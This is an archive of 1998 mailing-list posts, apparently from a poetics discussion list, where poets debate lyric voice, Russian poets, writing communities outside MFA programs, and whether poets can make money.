What I mean is, we can coagulate about various political realities & styles as we chat along here, but lyric poetry is about a voice that takes command of the present within poetry in some fashion. We can groove on somebody's quirks (Scalapino's) - that's a start - but only a start. The idea is to consi der voice - the speaking/singing voice of a certain individual poet (this is where the Individualism/Community chorus gets the hook, off-stage you go) - as a kind of testament, like Villon's testament or Dickinson's. That is, the biz of craft vs. civics is the PROBLEM of the voice & the voice is the solution. Now in America & in school general (I mean trade school) we try to come up with a formula for this or a set of procedures. Good luck! "Lengthen your line a bit - no, that's too far, you're going Jeffers - cut the Vachel Lindsay pterodactyls - okay, okay, now you're getting it - yeah! A Whitman short poem!"

Hah hah. The antidote : read one Akhmatova. Now that was a voice with a Person behind it. And a Poet.

So we start to talk about how THIS PARTICULAR POET calibrates the brevity of a poem - the intonation, the triple entendre, the changes, the modulation, the sound, rhythm, diction, syntax - and comes across with something that either blows our minds or puts our heads together again. That's a voice - not "voice" - A voice. A river.

Once we identify some of these - then we can even start acting like real Critics! - we can see where they tried to start to sound like themselves - we can see where it comes across as inauthentic or sloppy or lazy or complacent etc. And the interesting thing is that these weak points will probably be political and stylistic together... - OR different in an interesting way...

I stress interesting and well-read & informed & homeworked as opposed to the usual theoretical blowharderie of which I among many am vociferously GUILTY.

- SIGN-OFF POETICS (for the next 5 mins.)
- Henry Gould

↑ Index

513. **Judy Roitman**
Re: Selling out & a community of poets
Mon 15 Jun 1998

> *Poetry communities can be very difficult to enter ...*
>
> *Which is why I'm so grateful for the net...*

Amen to both comments (from different folks).

I wandered in the wilderness for many years. The community was here all along (although back then very very small) but it was shy and didn't know how to respond to someone who knew nothing except that there was something else to know.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

514. **michael corbin**
Re: Good, there are no lions in the street
Mon 15 Jun 1998

Jordan Davis wrote:
>
>

> qualities) that obsess you, e.g.
>

a recent obsess objet for me: now that desire, indeed, obsession, is marked and measured in post-something theories, indeed, post-something poetries, is it something else? desire, obessison that is. _because_ of these poetires.? i was wondering. of course there is that necessary historical materialism about paying the rent (and not only for the lakota, annishinabe in that place that has come to be know as iowa) and creating on the grassy-knoll margins, civic(s)-life and like that. and a libidinal economy that becomes the economy itself (michael jordan's body-fluids, my gatorade, my needs. love itself); but more, now, what is the coin of the libidinal economy? it is not desire itself, much less its mimetic, lyrical human(ist) other, nor, more its refracted modernist mirror tain, and now not even its refractions in THEORY or L_A_N_+uage or pop culture (just intellectuals?) or just the thing, just the thing, just the thing of poetry. Is poetry the specie off disciplined desire,? precisely desiring machines, can't be bodies without organs, without this mediatory code-poetree? I kinda read the mina harker letters pushing in this desire-language direction, beautifully (I was wondering about the 'move' from 'theory' to 'memior', Dodie Bellamy, thinking about it wondering) or Scalapino crowds and not-evening and not-lights frozen in cartoon balloon caption languages. and especially that _Defoe_ (a history of the perception of the discipline, control, not even commodification cause that is too old and too easy).

anyway, sorry, tonight.

mc

thats an obsession. at least after the isp is paid and electric is on time and you can get off of work and not be too tired to desire.

mc

↑ Index

515. Carrie Etter
poetry in Normal
Mon 15 Jun 1998

Summi wrote--

> *I agree that poets should not necessarily look towards MFA programs for a sense of community.*
>
> *But they do. Carrie said "Can't figure out any other way to find a writing community? I don't buy it." Well, whether or not one buys it, it is a reality for a few people who aren't living in "hip" towns and cavorting with the hipsters of the poetry scenes outside of academia.*

For the record, I found my first writing community in Normal, Illinois, in its pre-Dalkey Archive (and well pre-MA in creative writing at the state u.) days. It is not necessarily a reality for people who aren't living in "hip towns" to look to a university for a writing community. I'd see that someone in a 100-mile radius had published an interesting poem in a journal, and I'd write or call; I'd find homemade books by locals in the Waldenbooks, buy the books, and seek out the writers; there'd be a rare (once a year?) poetry reading. I've also had other locals (admittedly within that 100-mile radius) see my work in a mag and come meet me in Normal. Even in my first 6 years in LA, the writing community I participated in was entirely unconnected to a university--or to any "hipsters," for that matter. Sure, it took more work to find a writing community in Normal than it since has anywhere else, but it's do-able--writers are EVERYWHERE.

I also have no particular attitude toward Iowa--I've just heard only complaints about the financial support there from a number of people who've been there in the last 5 years in both poetry and fiction. I'm glad to hear that it's not that way for everyone.

Carrie

↑ Index

516. **henry**
Re: where's the poetry
Mon 15 Jun 1998

Responding to Standard: all I can say is, if you gonna talk the talk you gotta walk the walk. I wrote about this in an insane misunderstandable way in Witz ("The Sense of Being Right"). There might be a way to be "righteous" without lecturing to others about it; in fact, it might involve shutting up sometimes (I should give that some thought). Then the vicious voice of the poet finds a balance between beauty & justice which is... gracefulness. Righteous, not self-righteous. Singin', not rantin'; hollerin' not squawkin'; preachin', not pissin'; callin' to account, not checkin' the accounts; etc.et.c Lawdy, we think we knows whut's best - we us, the blinest of th' blin'!!

But there is no righteousness. The earth is a chorus of groans.
the voice of poetry goes into birds, oceans, imaginary friends,
only to simulate the righteousness of children.
SIGH OFF POETICS (another 5 please)
- henry G.

↑ Index

517. **Carrie Etter**
Anchorage?
Mon 15 Jun 1998

Does anyone on this list live in Anchorage or thereabouts? I'll be there tomorrow through next Monday and was wondering whether there'd be any poetry events in that time. Backchannel, please.

Thanks,
Carrie

↑ Index

518. **ken|n|ing**
Re: shapeshifter uncapitalized
Mon 15 Jun 1998

On Mon, 15 Jun 1998, Mark Prejsnar wrote:

> *I think my original point stands, Patrick:*

I agree, in part, and never intended to actually counter that point. Re: "in part", see below.

Thus my point that they
> wouldn't "let you" if you begged 'em: poets have nothing the capitalist
> market (and its periphery, such as academe) WANTS. These are so to
> speak the working conditions that apply....

Except perhaps a sort of Jorie Grahamesque prestige value which, in MFA-ville, despite the relative low-cost (monetarily, at least) Iowa Workshop, fetches $.

Patrick F. Durgin

↑ Index

519. **ken|n|ing**
Anomalous Records - FYI (fwd)
Mon 15 Jun 1998

Just thought this information might be of interest to list members.
Patrick F. Durgin

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                    |
                    |
k e n n i n g``````|``````
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```
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a newsletter of contemporary |poetry, poetics, and non-fiction writing
|418 Brown St. #10 Iowa City, IA 52245 USA

---------- Forwarded message ----------
Date: Mon, 15 Jun 1998 10:19:38 -0500
From: / dave / <[redacted]>
To: rick durgin <[redacted]>
Subject: Anomalous Records - FYI

UPCOMING RELEASE (available soon):

* Brion Gysin "Poems of Poems" LP some of the most important experiments in cut-up and recording technique by the famous poet and artist. originally recorded in 1958 at the historical Beat Hotel in Paris. "Language is an abominable misunderstanding which makes up a part of matter. The painters and the physicists have treated matter pretty well. The poets have hardly touched it. In March 1958, when I was living at the Beat Hotel, I proposed to Burroughs to at least make available to literature the means that painters have been using for fifty years. Cut words into pieces and scramble them." 40 previously unpublished minutes of hypnotic, pure cut-up, only the voice of the author plus background noise from the Uher 4400 reel-to-reel recording machine; a fabulous, minimal piece of history. "What to do with all this all? Paste it to the wall with some photos and see what it looks like. Wait, paste these two pages together and cut in the middle. Paste it all together, end to end, and send it out like a big piano-roll. After all, it's not but matter. There's nothing sacred about words." edition of 630 copies. Alga Marghen Italy G 8VocSon021

AVAILABLE NOW:

* Brion Gysin "One Night @ The 1001" 2 CD $17.99 in 1954, Brion Gysin - writer, painter and favorite collaborator of William S. Burroughs - launches his 1001 Nights club in Tangier. in his mythic restaurant, that stayed open only a few months, Gysin invited the best traditional Moroccan musicians to perform all night long. the first CD of this document is what the lucky Western and Moroccan customers of the interzone could hear at the time: a varied selection of pure traditional and trance music (along with other Joujouka master musicians, Bachir Attar's father). a decade before Brian Jones brought this timeless music into the world, this unique document was recorded by the inventor of the cut-up method himself. it has been digitally remastered by Brion's recordings heir Ramuntcho Matta. included is an exclusive introduction by Paul Bowles. the second volume of this double CD document is based on a spoken word tape called Dilaloo, which is a precise decription - written and read in 1956 by Brion Gysin 'Master Brahim' himself - of an initiation ceremony in the village of Jajouka. Ramuntcho added a quiet electronic music background generated by a computer

algorithm programme that he created in Gysin's random permutative spirit. Sub Rosa Belgium SR142

Anomalous Records website: http://www.zipcon.com/~anomaly/

--

/ dave /

↑ Index

520. **Henry G**
1 more on voice
Mon 15 Jun 1998

"Her life experience could do nothing but follow the voice, permanently lagging behind it, for the voice was overtaking events - after all, it had the speed of sound. On the whole, experience always lags behind anticipation. "Yet the issue here is not only that of experience lagging behind anticipation; it is a question of the differences between art and reality. One of them is that in art, owing to the properties of the material itself, it is possible to attain a degree of lyricism that has no physical equivalent in the real world. Nor, in the same way, does there exist in the real world an equivalent of the tragic in art, which (the tragic) is the reverse of lyricism - or the stage that follows it. No matter how dramatic a person's direct experience is, it is always exceeded by the experien ce of an instrument. Yet a poet is a combination of an instrument and a human being in one person, with the former gradually taking over the latter. The sensation of this takeover is responsible for timbre; the realization of it, for destiny." - Joseph Brodsky, "A Poet and Prose" [on Marina Tsvetaeva]

A couple things about this passage. The first & last few sentences zero in on why the voice phenomenon is central. The other point is that Brodsky, a born popularizer, does a funny thing in this passage that you find often in his work. He uses outrageous hyperbole (art always exceeds any real world experience) in order to describe something to a general (generally non-poet) public which is actually MORE EXTREME (hyperbolic) than he lets on. Poets and insane people understand this submission to the "instrument" as fate and inner superreality; but if Brodsky let on just HOW uncanny this is, no one would believe him.

- Henry Gould

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521. **Dale Smith**

For Sale

Mon 15 Jun 1998

Attention Diverse Arts Community. MIKE AND DALE'S YOUNGER POETS is pleased to announce the publication of its Spring issue, #9. This quarter you can enjoy the poems of Jack Micheline, Peggy Kelley, John Bovio, Steve Emerson, Jim Nisbet, Carl Thayler, Bobbie West, Duncan McNaughton, Elinor Nauen, Anselm Berrigan, Kevin Opstedal, Pam Brown, Keith Kaufman, Tom Clark and Amy Gerstler. Also included is an interview with the editors, conducted by Charles Bernstein at Venice Beach's Beyond Baroque Arts Center. Don't be left out of the season's cocktail chat. Buy now, by gum.

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Forthcoming this summer is a book of poems by poet Hoa Nguyen, illustrated by artist Suloni Sood Robertson.

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Future issue of MIKE & DALE'S YOUNGER POETS include Chris Stroffolino, Brett Evans, Kristin Prevallet and more!

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Dale Smith

2925 Higgins Street

Austin, TX 78722

or

Michael Price

766 Valencia Street

San Francisco 94110

"You guys are to poetry what Howard Stern is to radio."

-- from an anonymous (fan?) letter.

Who's got time to wait? Become a Younger Poet.

Get Your Private, Free Email at http://www.hotmail.com

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522. Jordan Davis
voke
Mon 15 Jun 1998

Henny why you keep voking the rushens! And why those rushens. Cos I don't know why I got to keep tryenta read em. I like Bowra's Pasternaks and any Mayakowsky gets me, an sometimes for heestyrical perspektif I lookit Gogol n Turgenev an Chekhioff! Butchoo know even if Andy Carroll had a bond wit em I don't get Joe Brodskaya's taste, you see what lines by that other bree-illyunt po-its he likes he likes? "The moon's a balloon" in June etc etc is I mean come on. There is a poem and there is a person telling which is which are you? If it is true what they say one one [he/she/e] one voke then could you voke and be done already? I don't see why I gotta feel the whippa this anymore, yer wheer-ing it owt. Love, Uncle Vinnie

↑ Index

523. Erik Sweet
Re: voke
Tue 16 Jun 1998

---

you dere

cool.

uncle loius says heelo

i am getting a nice package toegterh
now for you
it is weir just thinking

about sending you poems

becasue i now trust you and only have shown poems to loir

and i like ot share but publishing is a lil out of the question for a small fry por-ckchop like me

i sent to you
"lowstation"

7 pages hot of the press tonight

but will come mail

uncle erik

↑ Index

524. Erik Sweet
ooops ignore
Tue 16 Jun 1998

---

sorry listmates

sent something that was a private message to the pope to the list about

fedex and smurfs

mates goodnight.

erik

↑ Index

525. BETSY ANDREWS
Re: Money and Poetry
Tue 16 Jun 1998

PRESS magazine pays $50 a poem.

> From: William Burmeister Prod <[redacted]>
> To: [redacted]
> Subject: Re: Money and Poetry
> Date: Friday, June 12, 1998 11:14 AM
>
> >but poetry as well as music in all reality (unless you are Jewel 1.7
million
> >for her book of poems) will not pay up-
>
>
> >poetry is a business, when it becomes a ways and a means of staying
alive-
>
>
> >You have to watch it because the moment something you do (that you love)
> >becomes part of the grocery bill its gonna change-
>
>
>

> You sir are correct!
>
>
>
> People devour me without tasting me
> - Jewel
>
> William

↑ Index

526. **CD**
pre-rejected
Tue 16 Jun 1998

Now that is what I call painful. And true. ... yes, yes. And yes how true. Poetry is pre-rejected - at least certain kinds, adn certain types of poets are 'pre-rejected' Robert Frost did okay, and so did Delmore S for quite a long time. Till he drank it all away... there is the American poet Wallace Stevens who did quite well among the middle class, and was quite a successful poet in his time. And W.C. Williams the good doctor earned a good living and wrote all his life... But I think that Katy's argument no less interesting for all that. Fine poetry is pre-rejected, but the economics of poetry are certainly as important and no less difficult than the lives of so-called ordinary people and their daily struggles to make a living. I don't know if there is an average when it comes to this type of thing, but I'd say that the cultural worker's contribution is harder, more demading and carries no insurance policies that I know of. Not here in Canada, or the U.S. and in the good old U.S.S.R well being a poet wasn't a matter of being paid, it was a matter of being imprisoned if you said the wrong thing.

And I think that poetry is more important than making cars, or advertising or building space shuttles... Having said that I still like the space shuttle but it would be nice if Poets got paid. And poetry got paid. And if the cool count of words added up to dollars and cents. I think it is awful and not just sad that poets have to squeak about salaries. And I don't think they are just like everyone else. At least not today.

↑ Index

527. **david bromige**
oops ignore
Tue 16 Jun 1998

Listmates, dont know about you, but I will always read any post with oops in its header. Oops, most poetic of titles. The lack of intention upon me (if I can

resolve with myself that the writer be not disingenuous) that Oops would assure me of, feels so . . . trustworthy. I feel I may learn something. Now I recall being intro'd once (on Hornby island) as "The poet of Ooops"--the introducer had turned over two pages at once. It was a delightful mistake, but I think she took my laughter to be mocking. No, it was the slight shock of recognition that snuck through. d.

↑ Index

528. **Jim Andrews**

an institutionalized avant garde is

Tue 16 Jun 1998

---

db db bp gb ss...

There is no money in poetry. The commodity is prestige and influence. That is exchanged for teaching positions or generated therefrom. But there are also a few like Al Purdy and bill bissett who lifeart money somehow. Not easy. Not for me. But they do it well, incredibly well. Gerry Gilbert in a different way. MacE-wan. Leonard Cohen via music. Phyllis Webb via real estate...

This is primarily 'canadian content':

An institutionalized avant garde is:

Proof that you can change the system within the system;
One of the more bizarre consequences of nationalism;
A contradiction in terms;
A testament to a nation’s committment to excellence;
Necessary;
Inevitable;
A liberal conspiracy;
A conservative conspiracy;
Coincidental with the end of art;
The life of art;
A good argument for garrets;
A garret for good arguments;
Dangerous;
Tame;
The unwritten Brave New World;
Bureaucracy in the service of art;
Art in the service of bureaucracy;
A noble union of art and bureaucracy;
A machine with decision procedures;
At odds with market capitalism;

Intent on revolution;
A co-operative of artists.

http://www.speakeasy.org/~jandrews/vispo/lifeart4.html

↑ Index

529. Tom Orange
shapeshift normal poetry money
Tue 16 Jun 1998

---

jumping in with carrie, summi, markp, standard, patrick et al.:

carrie wrote about "payback time...and the frustration that ensues *given the market conditions*...," my emphasis, cuz this is quite the point. and i think mark is right on: that this plagues us *all*, mfa and non-mfa alike, normal iowa city nyc "hipster" alike as far as i'm concerned. and again mark is right on in saying (if i may splice these gems together) that the "interesting undertows of resistance and self-creation" call precisely for "an overall structure of projects." capital knows no payback. and i think no single project is enough: any project must be ventured with an acute awareness of how it can situate itself (yes, agency!) into the overall structure: go to university, drive across the country to find a chapbook, work in high tech, do lay therapy in a farm north of toronto, and hell maybe somebody will climb the random house corporate ladder and actually convince the ceo to cut 50,000 bucks off the top once a year and put it towards publishing some non-mainstream poetry titles too. find yr community, it aint where you are its what you do and what level of awareness you can do it at...

bests,
t.

↑ Index

530. George Bowering
Re: an institutionalized avant garde is
Tue 16 Jun 1998

. MacEwan. Leonard Cohen via music.

First time I have heard Rod MacEwan mentioned for years. Reminds me of the time someone in _Rolling Stone_ referred to MacEwan and MacCohen....

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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531. **morpheal**
Re: an institutionalized avant garde is
Tue 16 Jun 1998

> *Leonard Cohen via music.*

As much as I enjoy Cohen's offerings as they are, it would be extremely interesting if he could untangle his tongue a little, and express some of the so obviously repressed creative materials a little more freely.

In one interview, some years ago, he told the interviewer that he is made to agonize about each word he writes.

I am sure some of us have had similar experiences, and understand the conflicts, but it is the overcoming of some of those potential influences that might be the larger challenge.

We might hope.....

M.

↑ Index

532. **morpheal**
Re: an Enlightenment intuition spurned [pontification in response]
Tue 16 Jun 1998

> *"Divide matter into as minute parts as you will, which we are apt to imagine a sort of spiritualizing or making a thinking thing of it;..."from Essay Concerning Human Understanding by John Locke*

Of course.

There is no true dualism of matter and mind. It is all matter. It is all mind. That is the key to understanding how life began. There is no beginning, as first instance. Information is already acquired and utilized, in rudimentary ways by what we traditionally define as "non living" matter. Similarly there is no true dualism between body and soul. This is simply another way of expressing the false dualism between particle and wave.

M.

aka Bob Ezergailis

↑ Index

533. **Henry**
Re: voke
Tue 16 Jun 1998

> *Henny why you keep voking the rushens! And why those rushens. Cos I don't know why I got to keep tryenta read em. I like Bowra's Pasternaks and any Mayakowsky gets me, an sometimes for heestyrical perspektif I lookit Gogol n Turgenev an Chekhioff! Butchoo know even if Andy Carroll had a bond wit em I don't get Joe Brodskaya's taste, you see what lines by that other bree-illyunt po-its he likes he likes? "The moon's a balloon" in June etc etc is I mean come on. There is a poem and there is a person telling which is which are you? If it is true what they say one one [he/she/e] one voke then could you voke and be done already? I don't see why I gotta feel the whippa this anymore, yer wheering it owt. Love, Uncle Vinnie*

Ey, Vin, c'mon, lighten up guy! Yuz gotta know that Brodsky like me gotta bitta the sleaze lawyer instinks - y'know ya hear somthin differaunt like so put it in their FACE, what I'm sayin? With me here? Okay soze ya right I wonder sometimes mySELF what's wit de Rooshkie shtick - but here it is: it's like a totally different sound & experience comin at the same ancient traditions, like. So youze get ahold of them 2 vol Akhmatova set from Zephyr press & have somebody read da Rooshkie to you an you reads the translation maybe you see whut I'm gettin at. Or you reads Nadezhda Mandelstam's memoirs (at's what got me hooked) an then you read somma them half-ass Mandelstam translations an he STILL charm the hell outa ya! Now Brodsky, yeah, he thinks he's Thomas Hardy redeviverse or sommat, okay, yeah, his english ain't that great, ey, there's mo to it than at. Ever hear him read? Take a listen to a tape. The rushkie, I mean.

Ey, so all right, I'll give ya thuh lowdown now: American poetry bores the shit outa me, it's a political problem wit da culture an all that, so there ya have it, maybe I should go inta travel brochure writin or sommat...

- Vinnie

↑ Index

534. **Charles Alexander**
Re: "How Poignant that sounds . . .
Tue 16 Jun 1998

---

good questions, linda

I really liked the interviews from boundary2 from the late 1970's or so, which, as I remember, were presented with all the pauses and gaps of conversation, and usually seemed to work. I don't know if all of these were conducted by William Spanos -- but the one I can pull off my shelf right now is in boundary2 spring/fall 1978, and is with Robert Creeley, titled "Talking With Robert

Creeley." That certainly isn't the 'classical' form of interview publication, but it does seem always a form in need of some kind of push. I've done one interview which was really an article I was writing, but I phoned the subject and decided it was appropriate to include some questions and their answers as part of the article, so it was a kind of hybrid interview/essay. I know interviews are often sent, by the interviewers, to the interviewee, before publication, to read over and clarify things -- but I don't really know if this is necessary. I think it probably depends on the individual case. I'd encourage you to think of the interview as an extremely open and flexible form -- make what you will of it, as it seems to work. As for length, I've seen them in different publications, from brief review-length, to a dozen pages or more when printed. You might try asking journal publishers if they have preferences as to length. The interview with Creeley I mentioned actually runs from p. 11 to p. 74 of that journal, and the interview itself is given a title page of its own, a preface of about one and a half pages, and a post-face which is something less than a page.

I look forward to seeing the Scalapino interview, one place or another . . .

charles

At 04:18 PM 6/22/98 +0000, you wrote:
>even as you read back the transcript," is the title of a
>Bernstein/Andrews interview printed in the (marvelous) Chloroform
>(mini review forthcoming -- but it's excellent, really). and I feel
>as though I've lost my innocence! Interviews always seemed so
>NATURAL!
>
>What of interview ettiquette? I mean, we can't all "come out" sounding
>brilliant. I'm transcribing an interview I hostessed (or did she
>hostess? It was at her house) of Leslie Scalapino, who has many
>marvelous things to say, and in the process of trying to "edit"
>IT'S GETTING LONGER!! Help!!
>
>What does one do? It's 20 pages long (and rangey, as most interviews
>are). My questions:
> -- are interviews edited? or generally more of a collaboration?
>(" ok I'll let you sound brilliant there if you let me say this here?"
>or, "well i really wanted to keep the part where I recite the one
>man/one gun theory")
> -- what's a respectableacceptable publishable length in general?
>(Hey all you editors out there, how many pages ya want?)
>
>thank you, all you old pros(e) who have an opinion regarding this
>matter.

>
> Linda Russo
> * @ * % * & * # *
>
> with only the sound of the mimeograph "kachucking"
> and the pages swishing down . . . (Maureen Owen)
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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535. David Baratier
Re: teachers
Tue 16 Jun 1998

Very surprised there aren't more younger folks out there who found their teachers for free as I did. Start up a literary magazine, or a reading series and teachers will appear. For me-- Nate Leslie, Si Perchik, Laurie Anderson, Paul Weinman, Alan Catlin, Len Roberts, Bob Grenier etcetera.

As for anarchy, I have an essay called Survivalist Aesthetic in the new W'orc's Aloud/Allowed on how to make money as a writer with large caliber weapons, sharp instruments, and blunt objects that might interest some of you.

Thanks for all the Toronto info. I still owe a few of you notes & am getting there.

Be well

David Baratier

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536. Maria Damon
Re: Skivvues Lesson
Tue 16 Jun 1998

excuse me but a visual mondegreen had me reading "pol-pot" for pol-poet below.

At 9:15 PM -0400 6/15/98, Henry Gould wrote:
>My obsession tonight is with finding the formula that will allow me to
>umbra-ella all these pol-poet money issues & shut myself up at the same

>time so I can worry about money more.
>
>So here it is, robot guys & gals:
>VOICE.
>You mean - deep throated Galway Kinnell or something?
>
>What I mean is, we can coagulate about various political realities & styles
>as we chat along here, but lyric poetry is about a voice that takes command
>of the present within poetry in some fashion. We can groove on somebody's
>quirks (Scalapino's) - that's a start - but only a start. The idea is to
>consi
>der voice - the speaking/singing voice of a certain individual poet (this is
>where the Individualism/Community chorus gets the hook, off-stage you go)
>- as a kind of testament, like Villon's testament or Dickinson's.
>That is, the biz of craft vs. civics is the PROBLEM of the voice & the voice
>is the solution. Now in America & in school general (I mean trade school)
>we try to come up with a formula for this or a set of procedures. Good
>luck! "Lengthen your line a bit - no, that's too far, you're going
>Jeffers - cut the Vachel Lindsay pterodactyls - okay, okay, now you're
>getting it - yeah! A Whitman short poem!"
>
>Hah hah. The antidote : read one Akhmatova. Now that was a voice with
>a Person behind it. And a Poet.
>
>So we start to talk about how THIS PARTICULAR POET calibrates the brevity
>of a poem - the intonation, the triple entendre, the changes, the
>modulation, the sound, rhythm, diction, syntax - and comes across with
>something that either blows our minds or puts our heads together again.
>That's a voice - not "voice" -
>A voice. A river.
>
>Once we identify some of these - then we can even start acting like real
>Critics! - we can see where they tried to start to sound like themselves -
>we can see where it comes across as inauthentic or sloppy or lazy or
>complacent etc. And the interesting thing is that these weak points
>will probably be political and stylistic together... - OR different
>in an interesting way...
>
>I stress interesting and well-read & informed & homeworked as opposed to
>the usual theoretical blowharderie of which I among many am vociferously
>GUILTY.
>

>- SIGN-OFF POETICS (for the next 5 mins.)
>- Henry Gould

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537. **Jordan Davis**
ah yeah thot so
Tue 16 Jun 1998

Henny yeh hadda feelin you mighta thot mericanser mergansers. But godawful! tossin turnin thinkin Kharms Khlebnikov Zhdanov anybuddy butta two volloom akmet. You go checkit outa White pLains liberry you'll see I saw it years agow and read it thruway twice. Requiem thass beautiful as an aquifer sure but how much betta it got liked by me after I noon a story bout it than before lara linnie's dad's play bout it and on o no! komachi, I meen you dramatizin' someone's worldsufferin in some way not a civix lessen? I mean you taken up these prison-poets for a reason or ayou spielbergen some thrillz. Ah cuz these poets even Almondstem in the SUNY big black buk they knda diffunt from the thing the erdge to do sumfin diffent but izz blurry yah Pulselon schleps Almondstem -- but iffits moralizin its kinda thin it won do those perpesses for ya annit's gettin on yeers now we gettin this Almondstem this Akhmet that an I jes wanna have some transPAIRency uhthe buiks like whadda you want fromme inre these particklr rushens. Less have it. U.V.

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538. **Maria Damon**
Re: an institutionalized avant garde is
Tue 16 Jun 1998

---

hey i caught the bowerer in his own petard: it's MCKUEN. MacEwan, is that Ian the creepy-fiction writer? McKuen is the hallmark poet of SF 60s.

At 12:59 AM -0700 6/16/98, George Bowering wrote:
>. MacEwan. Leonard Cohen via music.
>
>First time I have heard Rod MacEwan mentioned for years. Reminds me of the
>time someone in _Rolling Stone_ referred to MacEwan and MacCohen....
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,

>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]

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539. **hen**
Re: ah yeah thot so
Tue 16 Jun 1998

On Tue, 16 Jun 1998 10:01:07 -0400 Jordan Davis said:
>Henny yeh hadda feelin you mighta thot mericanser mergansers. But
>godawful! tossin turnin thinkin Kharms Khlebnikov Zhdanov anybuddy butta
>two volloom akmet. You go checkit outa White pLains liberry you'll see I
>saw it years agow and read it thruway twice. Requiem thass beautiful as an
>aquifer sure but how much betta it got liked by me after I noon a story
>bout it than before lara linnie's dad's play bout it and on o no! komachi,
>I meen you dramatizin' someone's worldsufferin in some way not a civix
>lessen? I mean you taken up these prisonpoets for a reason or ayou
>spielbergen some thrillz. Ah cuz these poets even Almondstem in the SUNY
>big black buk they knda diffunt from the thing the erdge to do sumfin
>diffent but izz blurry yah Pulselon schleps Almondstem -- but iffits
>moralizin its kinda thin it won do those perpesses for ya annit's gettin
>on yeers now we gettin this Almondstem this Akhmet that an I jes wanna
>have some transPAIRency uhthe buiks like whadda you want fromme inre these
>particklr rushens. Less have it. U.V.

Ey, Vin, heppy Bloomsday nal while we at it wit de idiomts... Yknow Akmet's pal Isay Berlin talk about thuh Fox an the Hedgehog wull I about as Hedgehog as they come (long wid Listhog), cause whens I reads the end of Requiem evr time I gets the physical chills uppa spine yknow an then I knows dis ending here of dis poem is the greatest poem of 20th cent. maybe of all time... an thass juss one examp of how a Hedgehog getta crush onna cert writer an all an then iss curtains fo the rest like Akmet getta crush on Pushkin soze like she spen pract a lifetime juss goin deeper into it, now whats I love about Akmet & Almondstem way beyond Kleb & Kharm (tho I likes them A LOT) is the same thing I loves about Zhdanov it's the MUSIC man, it's the HEART-MUSIC, when you gots dis correlations of images & a story & a sly thing goin on meanwhile juss a simple tune playin with simple words alongs a line that what I love an it comes outa thirst an hunger man like you know all the NOT-POETRY world that you gotta walk da walk eventually gives you dis basic THIRST f'dat music an that is a simple ting that a lotta younga poets are onto but then a lotta younga poets are

NOT onto because they in it all day long too much know what I'm sayin? So it gets mighty political rhetorical sophistiy-clever intullectchall ya know like throw in a big word here an a lil radical experience here an presto hey this is one cutting-edge poet man an I say ey juss gimme that MUSIC man that develop an surge into high heaven like Tsvetaeva & Akmet & Mandel got that SURGE man maybe it eastern orthodox icon or somethin but it come across so thass one thing I like about it plus I juss LOVE the mystery games Akmet & Mandel play wid a line stole from here an meaning about 20 diffunt things without bein obvious about it I dig that now if you wanna see whut I do wid all this stuff I love well you just hop on down to the new non (http://socrates.berkeley.edu/~moriarty) cause I got a few lil jingle examps there wheres I take some ver Merican material histeria wisteria an I puts it troo a Mandelstam octet like wid rhymes an all, see #1 I do there is like almost a direct steal whiles #3 come outa the film version of "Oblomov" an so on juss for an examp now theys a few more a these comin out in Talisman next but you will see how diffent they sounds fum all the other non people an mostly they sound like TV ad jingles done by Celan but anyways thass what it all about...

- Henny

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540. Pritchett,Patrick
Re: Poets in advertizing
Tue 16 Jun 1998

The List hashed this out last year, Mark. Allen donated the monies from those Gap ads to the Tibetan refugee cause.

Patrick Pritchett

From: Mark Prejsnar
To: [redacted]
Subject: Poets in advertizing
Date: Tuesday, June 16, 1998 10:10AM

And then, Allen Ginsberg was similarly doing ads at the very end of his life, when enuff decades of notoriety had made him a "celebrity" in a sufficiently bankable way....

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541. **Mark Prejsnar**
Re: the poetical is the political
Tue 16 Jun 1998

Standard,

Your long reply to my snappishness, clarifies immensely...Thanx. Sorry to be so snippy. That you mention specific poets helps; i can get more of a grasp of what we're talking about...

Lots of good points in your reply (not all of which are worked thru, and about which one could quibble slightly here and there; but basically i'm in agreement). Well done & thanx.

mark

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542. **s. kaipa**
Re: poetry in Normal
Tue 16 Jun 1998

On Mon, 15 Jun 1998, Carrie Etter wrote:

> *For the record, I found my first writing community in Normal, Illinois, in its pre-Dalkey Archive (and well pre-MA in creative writing at the state u.) days. It is not necessarily a reality for people who aren't living in "hip towns" to look to a university for a writing community.*

Carrie, I never said I thought it was "necessarily" a reality for people living in rural areas or in disenfranchised areas to look to the university for a writing community. All I'm saying is that they have done so in the past--and not necessarily without success.

> *I'd see that someone in a 100-mile radius had published an interesting poem in a journal, and I'd write or call; I'd find homemade books by locals in the Waldenbooks,*
> *buy the books, and seek out the writers; there'd be a rare (once a year?) poetry reading. I've also had other locals (admittedly within that 100-mile radius) see my work in a mag and come meet me in Normal. Even in my first 6 years in LA, the writing community I participated in was entirely unconnected to a university--or to any "hipsters," for that matter. Sure, it took more work to find a writing community in Normal than it since has anywhere else, but it's do-able--writers are EVERYWHERE.*

I encourage everyone to do these kinds of things--to get themselves involved. But many of us don't always know where to start. It's obvious that we (the ones on the list) have done some searching in order to find each other. If you're out of the loop, then you're out of the loop.

Oh--and by the way--I happen to like hipsters, even though they are hipsters.

Best,

Summi

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543. **Mark Prejsnar**
Poets in advertizing
Tue 16 Jun 1998

> With some exceptions. David Eggleton, a NZ poet known for his ranting
> performance style and capitalist-baiting (was it Ken Bolton who wrote of
> him that he's unlikely to have someone stand up in the middle of a
> performance and say "As a yuppie, I have to disagree"?), has just done a TV
> ad for Honda. "A poem is an object, a rough diamond ..."

And then, Allen Ginsberg was similarly doing ads at the very end of his life, when enuff decades of notoriety had made him a "celebrity" in a sufficiently bankable way....

But these are exceptions that prove the rule, i think..

